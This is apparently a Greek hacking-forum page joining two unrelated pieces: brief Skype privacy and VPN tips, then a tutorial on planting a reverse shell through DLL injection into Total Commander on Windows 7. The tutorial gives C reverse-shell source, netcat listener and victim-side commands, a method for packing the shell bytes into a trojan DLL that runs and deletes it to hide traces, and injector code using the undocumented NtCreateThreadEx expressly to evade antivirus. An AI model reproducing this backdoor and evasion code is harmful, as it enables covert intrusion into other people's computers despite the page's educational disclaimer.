Μπορείτε να προστατευτείτε και να μην αφήσετε να βρουν την IP σας , κάνοντας κλικ στο κουμπί “Συνδεθείτε με ένα λογαριασμό Microsoft”, όπως φαίνεται παρακάτω (δεν δουλεύει στης νέες εκδόσεις) :
Και για περισσότερη ασφάλεια
Στο κύριο παράθυρο του Skype, κάντε κλικ στο “Εργαλεία” και στη συνέχεια κάντε κλικ στο κουμπί “Επιλογές”.
Κάτω από την κατηγορία “Γενικά”, στο “Γενικές ρυθμίσεις”, αλλάξτε τις ρυθμίσεις σας όπως στην εικόνα:
2)Κάτω από την κατηγορία “Γενικά”, στις “Ρυθμίσεις βίντεο”, αλλάξτε τις ρυθμίσεις σας όπως στην εικόνα:
3)Κάτω από την κατηγορία “Γενικά”, στο “Skype WiFi”, βγαλτέ από επιλογή το “Ενεργοποίηση Skype WiFi”.
4)Κάτω από την κατηγορία “Απόρρητο”, στο “Ρυθμίσεις απορρήτου”, αλλάξτε τις ρυθμίσεις σας όπως στην εικόνα:
\
5)Διαγράψτε της Διαφημίσεις
ΣΗΜΕΙΩΣΗ: Κάντε κλικ στο κουμπί “Διαγραφή ιστορικού” και το κουμπί “Εκκαθάριση των Skype cookies”.
VPN
Ένα VPN ή Virtual Private Network , είναι ένας τρόπος για να κρύψετε τη διεύθυνση IP σας , και να αποτρέψετε τον ISP σας , ή κάποιον από την παρακολούθηση της δραστηριότητας σας στο ίντερνετ.
Βασικά , για να το θέσουμε με έναν απλό τρόπο για να καταλάβετε , είναι σαν να χρησιμοποιείτε τον υπολογιστή σας , άλλα να έχετε συνδεθεί σε έναν άλλο υπολογιστή, σε άλλη χωρά, καθώς να χρησιμοποιείται τη δικιά του σύνδεση στο ίντερνετ. αντί της δικής σας .
Τώρα , υπάρχουν πολλά VPN εκεί έξω , κάποια δωρεάν, κάποια έναντι αμοιβής η οποία είναι χαμηλή
Ένα δωρεάν VIP ενώ θα κρύψει την IP σας , [u]στην πραγματικότητα θα κρατήσει όλα τα logs και αυτό σίγουρα δεν το θέλετε, αυτό δεν τα κάνει καθόλου ασφαλές
Αν Θέλετε ένα VPN που δεν κρατάει κανένα logs, τότε ψάχνετε για offshore.
Δηλαδή να βρίσκεται σε μια χωρά η οποία δεν κρατάει καθόλου τα στοιχειά σας, αλλα ούτε μπορεί να τα δώσει ακόμα σε περίπτωση που γίνει κάτι είστε καλυμμένος.
Αυτό σημαίνει ότι το καμιά πληροφορία δεν θα μοιραστεί σε τρίτους χωρίς δικαστική απόφαση , και αν ο VPN σας δεν κράτησε κανένα log , τότε δεν θα υπάρχει τίποτα εναντίον σας.
Επίσης, χρησιμοποιώντας ένα ασφαλές , ανώνυμο VPN , δεν χρειάζεται να βάζετε από πίσω και 10 proxies. Μπορείτε να χρησιμοποιήσετε ένα διακομιστή μεσολάβησης (proxy) μέσω του προγράμματος περιήγησης σας ή ένα πρόγραμμα , για επιπλέον ανωνυμία , αλλά δεν είναι πραγματικά αναγκαία.
Ο Αλέξανδρος είναι ο ιδρυτής του hacks.gr και η κινητήρια δύναμη πίσω από το όραμά μας.
Με πολυετή εμπειρία στον κόσμο του hacking, έχει διαμορφώσει μια κοινότητα που είναι πηγή έμπνευσης και μάθησης για όλους.
Με τον προσωπικό του χαρακτήρα και την τεχνογνωσία του, έχει δημιουργήσει έναν χώρο όπου οι λάτρεις του hacking μπορούν να συναντιούνται, να μοιράζονται γνώσεις και να εξελίσσονται.
Reverse shell μέσω DLL Injection με χρήση undocumented WinAPI function
Στο άρθρο αυτό θα δείξουμε μια σχετικά παλιά αλλά πολύ διαδεδομένη μέθοδο που χρησιμοποιούν οι επιτιθέμενοι για να εγκαταστήσουν ένα backdoor στον υπολογιστή του θύματος. Το συγκεκριμένο άρθρο μπορεί να το δείτε και κάπου αλλού (στα Αγγλικά) μιας και το έχω γράψει σε ξενόγλωσσα forums. Δεν είναι καινούριο και γενικά χρησιμοποιεί λίγο παλαιότερη τεχνολογία (όχι πολύ παλαιότερη btw… 😉 ) αλλά αυτό δεν πρέπει να μας ενοχλεί καθόλου για 2 λόγους:
Δεν μπορεί να χρησιμοποιηθεί (χωρίς κάποιες τροποποιήσεις) άμεσα για επιθέσεις.
Περνάει το μήνυμα της μεθοδολογίας που χρησιμοποιείται από τους επιτιθέμενους – που αυτό είναι και ένας από τους βασικούς στόχους του άρθρου.
Τι θα διαβάσετε σε αυτό το άρθρο
1) Πώς εκτελείται μια επίθεση DLL σε ένα υπολογιστή με Windows 7 Ultimate, με 2 τρόπους:
α) χρησιμοποιώντας μια documented Windows API function και
β) χρησιμοποιώντας μια μη τεκμηριωμένη (undocumented) API function των Windows. Αυτή η μέθοδος θα παρακάμψει επίσης το πρόγραμμα προστασίας από ιούς των Windows Essentials.
2) Όταν εκτελείται το injection, ένα private (μη ανιχνεύσιμο – τουλάχιστον την στιγμή που το έγραψα… 😉 ) reverse shell, (συμπεριλαμβάνεται ο πηγαίος κώδικας).
3) Επιπλέον, παρουσιάζεται μια (…πρωτότυπη ή καλύτερα λίγο αντισυμβατική) μέθοδος δημιουργίας ενός εκτελέσιμου αρχείου PE από ένα DLL κατά το χρόνο εκτέλεσης.
Πρέπει να είμαι guru για να το καταλάβω;
Αυτό το άρθρο αναφέρεται σε άτομα που γνωρίζουν ήδη πώς να προγραμματίζουν σε c ή c++ και έχουν βασικές γνώσεις για κλήσεις API των Windows. Επιπλέον, απαιτείται κάποια γνώση των τεχνικών εκμετάλλευσης ως εξής:
Τι είναι ένα reverse shell και πώς χρησιμοποιείται.
Το DLL Injection είναι μια δημοφιλής τεχνική που χρησιμοποιείται από τους εισβολείς για να εισάγουν κώδικα σε ένα εκτελέσιμο αρχείο προκειμένου να εκτελέσουν μια ελεγχόμενη εκτέλεση.
Θα παρουσιάσω δύο μεθόδους επιτυχημένης επίθεσης σε Windows 7 Ultimate OS που επιστρέφει ένα reverse shell στον εισβολέα. Η πρώτη μέθοδος χρησιμοποιεί την τεκμηριωμένη συνάρτηση API των Windows CreateRemoteThread και η δεύτερη μέθοδος χρησιμοποιεί την μη τεκμηριωμένη NtCreateThreadEx. Προτιμώ την τελευταία, γιατί η πρώτη “αγχώνει” λίγο το Windows Defender ενώ η δεύτερη όχι (τουλάχιστον όταν είχε δοκιμαστεί πριν μερικά χρόνια)!
Επιπλέον, ένα reverse shell (που αναπτύχθηκε σε c++) θα χρησιμοποιηθεί σε συνδυασμό με μια μέθοδο μεταφοράς ή… “συσκευασίας” ενός εκτελέσιμου αρχείου μέσα σε άλλο εκτελέσιμο αρχείο (ή DLL).
Η τελική επίθεση θα γίνει χρησιμοποιώντας δύο προσεγγίσεις:
Την παραδοσιακή (χειροκίνητη) προσέγγιση που χρησιμοποιώ μόνο το Netcat και
την… «επίσημη» προσέγγιση όπου χρησιμοποιώ το γνωστό Armitage του Metasploit arsenal. Φωτογραφίες της επίθεσης θα είναι διαθέσιμες σε εσάς καθώς και σύντομα βίντεο.
Πριν ξεκινήσουμε, θα ήθελα να διευκρινίσω ότι αυτό το άρθρο δεν είναι ένα σεμινάριο “Πώς να εισβάλετε”, ούτε μια μέθοδος εγκατάστασης ενός Trojan στο PC ενός θύματος. Είναι ακριβώς αυτό που δηλώνει ο τίτλος του: Μια μέθοδος κλήσης ενός Reverse Shell μέσω DLL Injection χρησιμοποιώντας μη τεκμηριωμένη συνάρτηση του API στα Windows 7.
Τα πρώτα βήματα
Για να εκτελέσουμε μια τέτοια επίθεση πρέπει πρώτα να αποφασίσουμε σε ποιο εκτελέσιμο πρόγραμμα θέλουμε να εισάγουμε τον κακόβουλο κώδικα μας. Στο παράδειγμά μου θα χρησιμοποιήσω σαν θύμα το πρόγραμμα Total Commander (http://www.ghisler.com), τον αγαπημένο Windows Manager των προγραμματιστών (και όχι μόνο!). Η εισαγωγή κακόβουλου κώδικα στο Total Commander, σημαίνει (εν ολίγης) ότι όταν ο χρήστης ξεκινήσει αυτό το πρόγραμμα στο τοπικό του υπολογιστή, θα λάβω αμέσως ένα reverse shell στο box μου (δηλ. στο… PC μου) με τα ίδια δικαιώματα που έχει το Total Commander όταν εκτελείτε. Για να είμαι πιο συγκεκριμένος, η μέθοδος ακολουθεί τρία βήματα που θα αναλύσω παρακάτω.
Η Μέθοδος
Βήμα 1. Έλεγξε εάν εκτελείται το «Total Commander».
Βήμα 2. Εάν εκτελείται, εκτέλεσε το injection και εκτέλεσε ένα reverse shell σε μια συγκεκριμένη διεύθυνση IP, μετά συνέχισε την εκτέλεση του Total Commander.
Βήμα 3. Εάν το “Total Commander” δεν εκτελείται, τότε πήγαινε στο 1.
Η προσέγγισή μου θα χρησιμοποιήσει τρία προγράμματα:
1. totalcmd.exe (Total Commander): είναι το πρόγραμμα που θα πυροδοτήσει όλη την επίθεση.
2. myDLL.DLL: Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα “μεταφέρει” τον εκτελέσιμο κώδικα του reverse shell. Μία από τις κύριες αρμοδιότητές του είναι όταν κληθεί το eventDLL_PROCESS_ATTACH, θα “αποσυσκευάσει” το reverse shell στο δίσκο και θα το εκτελέσει.
3. dllattack08.exe: Είναι το βασικό κακόβουλο πρόγραμμα που όταν εκτελεστεί στον υπολογιστή του θύματος, θα παραμείνει στη μνήμη εκτελόντας τα παραπάνω 3 βήματα της μεθόδου.
1. Δημιουργία του Reverse Shell.
Θα παρουσιάσω εδώ τον πηγαίο κώδικα του (private – εκείνη την εποχή που το έφτιαξα) Reverse Shell.
// reverse shell in win32 // by thiseas 2010 // Compile with VS 2008 from command line with cl: // cl PROGRAMrs.c -> PROGRAMrs.exe //////////////////////////////////////////////// #include <winsock2.h> #include <stdio.h>
#pragma comment(lib, “Ws2_32.lib”) //Inform the linker that the Ws2_32.lib file is needed.
// Starting shell by creating a new process with redirected i/o. memset(&theProcess,0,sizeof(theProcess)); theProcess.cb=sizeof(theProcess); theProcess.dwFlags=STARTF_USESTDHANDLES; // here we make the redirection theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket; // fork the new process. if(CreateProcess(NULL,”cmd.exe”,NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0) { WSACleanup(); return 1; }
return 0; }
Το παραπάνω πρόγραμμα μπορεί να χρησιμοποιηθεί ως αντικατάσταση του Netcat ή σε συνδυασμό με αυτό.
Χρήση
Για να τρέξουμε με επιτυχία το shell πρέπει να εκτελέσουμε τις ακόλουθες δύο εντολές:
Εντολή 1: Στο PC του επιτιθέμενου, εκτελέστε το Netcat για να βάλετε σε Listening mode μια σύνδεση:
στο Fedora : nc -l 1234
στο ubuntu: nc -v -l -p 1234
σε Windows : nc -v -l -p 1234
Εντολή 2: Στο PC του θύματος, εκτελέστε το reverse shell: c:> PROGRAMrs.exe <attackerIP> 1234
2.Πώς θα φυλάξουμε τον εκτελέσιμο κώδικα του shell μέσα σε ένα άλλο πρόγραμμα
Θα «αποθηκεύσω» τον εκτελέσιμο κώδικα μέσα στο DLL (που θα χρησιμοποιήσω αργότερα) για να εκτελεστεί όταν χρειαστεί (θα εξηγήσω αργότερα πώς). Έτσι, πρέπει να πάρω τον HexCode του εκτελέσιμου ReverseShell μου και να τον βάλω μέσα σε άλλο πρόγραμμα. Υπάρχουν διάφορες μέθοδοι για να γίνει αυτό. Ο στόχος είναι να αποθηκεύσετε ολόκληρο το ReverseShell εκτελέσιμο μέσα σε έναν byte Array και στη συνέχεια να γράψετε αυτόν Byte Array στο δίσκο με ένα νέο όνομα. Το νέο αρχείο που θα δημιουργηθεί θα είναι ένα κανονικό εκτελέσιμο PE (http://en.wikipedia.org/wiki/Portable_Executable)!
Ανοίγω το εκτελέσιμο “PROGRAMrs.exe” του αντίστροφου κελύφους χρησιμοποιώντας τον αγαπημένο μου επεξεργαστή ultraEdit (το οποίο είναι επίσης hex editor). Επιλέξτε όλα, κάντε δεξί κλικ και επιλέξτε Hex Copy Selected View (εικόνα 1).
Επικολλώ τα επιλεγμένα code-bytes σε ένα νέο αρχείο. Επιλέγω τις συγκεκριμένες στήλες στον editor (Alt+C) και επιλέγω όλο τον byte-code. Στη συνέχεια, κάνω δεξί κλικ και αντγραφή Ctrl+C (εικόνα 2).
Έβαλα τα επιλεγμένα byte σε ένα νέο αρχείο και έβαλα ένα “\x” μεταξύ κάθε δεκαεξαδικού, όπως δείχνει το ακόλουθο παράδειγμα:
Από:
Για να το κάνω γρήγορα μπορώ στον editor να αντικαταστήσω όλα τα κενά με ‘\x’ και τελικά να καταλήξω στο παρακάτω:
Εντάξει, αυτό ήταν. Αποθηκεύω αυτό το αρχείο στο δίσκο με το όνομα MyTempByteCode.txt.
3.Δημιουργώ την DLL
Ήρθε η ώρα σε αυτό το 3ο βήμα, να δημιουργήσω την DLL. Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα φέρει μέση της το ReverseShell μέσα. Μία από τις κύριες αρμοδιότητές της είναι όταν κληθεί και εκτελεστεί το event DLL_PROCESS_ATTACH, θα αποσυσκευάσει το ReverseShell στο δίσκο και θα το εκτελέσει.
Την δημιούργησα χρησιμοποιώντας C++ στο Microsoft Visual Studio 2008 και ο κώδικας της είναι ο παρακάτω:
Ο πηγαίος κώδικας είναι (πιστεύω) αυτονόητος: Όταν ενεργοποιηθεί το event DLL_PROCESS_ATTACH, θα γράψω τα shell-bytes σε ένα αρχείο και θα το εκτελέσω (για να ξεκινήσει το RevsreShell) και αμέσως μετά θα τον διαγράψω από το δίσκο για να κρύψω τα ίχνη μου. Φυσικά, αυτό θα έχει μείνει στην μνήμη και θα επιτελεί την κακόβουλη εργασία του, δηλαδή θα έχει δώσει μη εξουσιοδοτημένη πρόσβαση στον επιτιθέμενο.
4.Εκτελώντας το Injection
Τώρα χρειάζομαι ένα πρόγραμμα για να ενεργοποιήσει, να καλέσει δηλαδή το παραπάνω DLL. Αυτό είναι βασικό πρόγραμμα που θα ενεργοποιήσει την επίθεση και είναι το: dllattack08.exe: Είναι αυτό που θα εκτελέσει το injection στο “Total Commander” χρησιμοποιώντας μια τεκμηριωμένη συνάρτηση WinAPI και μια μη τεκμηριωμένη WinAPI (the stealth case) – όπως είπαμε και στην αρχή του άρθρου.
typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, IN ULONG SizeOfStackReserve, OUT LPVOID lpBytesBuffer );
if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID )) { printf(“\nFailed to get the current session with error %d”, GetLastError()); } if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID )) { printf(“\nFailed to get the remote session with error %d”, GetLastError()); }
if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”)) printf(“\nSUCCESSFUL!\n”); else printf(“\nFailed!\n”);
return 0; }
Πιστεύω ότι κάποια θέματα στον παραπάνω κώδικα χρειάζονται κάποια διευκρίνιση. Η κλήση της συνάρτησης που εκτελεί το DLL injection χρησιμοποιώντας το τεκμηριωμένο API CreateRemoteThread είναι η: DllInject(hProcess, “\\DLLInjection\\myDLL.dll”)
Η συνάρτηση παίρνει 2 ορίσματα: Τον handler της διεργασίας του προγράμματος που πρόκειται να Inject και το όνομα του αρχείου DLL που θα επισυναφθεί στο injected εκτελέσιμο αρχείο. Όπως μπορείτε να δείτε αυτό είναι αρκετά “ανοιχτό” για να δεχτείτε οτιδήποτε σας αρέσει… 😎
Ένα άλλο ενδιαφέρον θέμα είναι η χρήση της συνάρτησης SeDebugPrivilege ως προσπάθεια απόκτησης όσο το δυνατόν περισσότερων προνομίων. Η Microsoft ανέφερε κάποτε το εξής:
“By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do».
Αυτό είναι πράγματι ενδιαφέρον. Σύμφωνα με τις δοκιμές μου, τα παραπάνω δεν ισχύουν 100% για τα windows 7, αλλά άξιζε μια δοκιμή… πάντως.
Ένα σημαντικό μειονέκτημα αυτής της μεθόδου είναι ότι ενεργοποιεί το Microsoft Security Essentials Antivirus. Ανακάλυψα ότι η αιτία του συναγερμού είναι η χρήση του API CreateRemoteThread μέσα στη συνάρτηση DllInject. Αντικαθιστώ, λοιπόν, αυτή τη λειτουργία με μια νέα αλλά… undocumented! Το να εξηγήσουμε πώς βρίσκουμε και αναλύουμε μη τεκμηριωμένες λειτουργίες API των Windows είναι μια άλλη ιστορία (πράγματι προκλητική) που θα προσπαθήσω να εξηγήσω σε άλλο άρθρο. Η μη τεκμηριωμένη κλήση API υλοποιείται στη συνάρτηση DllInject_2. Η μόνη αλλαγή στον κώδικα για να καλέσετε αυτό το API είναι να αντικαταστήσετε την 7η γραμμή από το κάτω μέρος του παραπάνω πηγαίου κώδικα:
Από if (DllInject(hProcess, “\\DLLInjection\\myDLL.dll”))
Προς την if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”))
Και αυτό είναι. Γίνεσαι stealth!
Χειροκίνητη Επίθεση
Παρακάτω είναι ένα παράδειγμα επίθεσης με τον χειροκίνητο (παραδοσιακό) τρόπο:
Επίθεση με την χρήση του Metasploit Armitage
Το Metasploit [http://www.metasploit.com/] είναι ένα επαγγελματικό εργαλείο για Penetration Testers και όχι μόνο. Το Armitage είναι ένα front-end (μπορώ να πω) για το metasploit. Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για την εκτέλεση μας τέτοιας ίδιας επίθεσης. Μπορεί να χρησιμοποιηθεί ως client για να ακούσετε στη θύρα 6666 για να λάβετε το RevsrseShell μου. Ρίξτε μια ματιά εδώ:
και αμέσως μετά… Αυτό:
Ένα από τα ενδιαφέροντα πράγματα εδώ είναι ότι μπορεί να χρησιμοποιηθεί οποιοδήποτε Reverse Shell. Μπορείτε (για παράδειγμα) να δημιουργήσετε ένα κρυπτογραφημένο χρησιμοποιώντας το Metasploit, να λάβετε τον δυαδικό του κώδικα, να τον βάλετε στο DLL μου και να εκτελέσετε την επίθεση. Η μέθοδος και ο κώδικας είναι αρκετά ανοιχτοί για να υποστηρίξουν τέτοιες τεχνικές…
Και μερικά VIDEOs της επίθεσης
[1]. Περίπτωση I: Η εφαρμογή Total Commander ήδη είναι ανοιχτή στο PC του θύματος
[2]. Case II: Η εφαρμογή Total Commander ανοίγει μετά την εκτέλεση του malware (dllattack08.exe) στο PC του θύματος
Με πολύτιμη εμπειρία στον κόσμο της κυβερνοασφάλειας συμβάλλει ενεργά στην κοινότητά μας με αναλύσεις ευπαθειών και οδηγούς.
Με τη συνεισφορά του, προσφέρει στην κοινότητα μας ένα πλούσιο φάσμα γνώσεων και δεξιοτήτων που ενισχύουν την ανάπτυξη και την ασφάλεια του ψηφιακού μας κόσμου.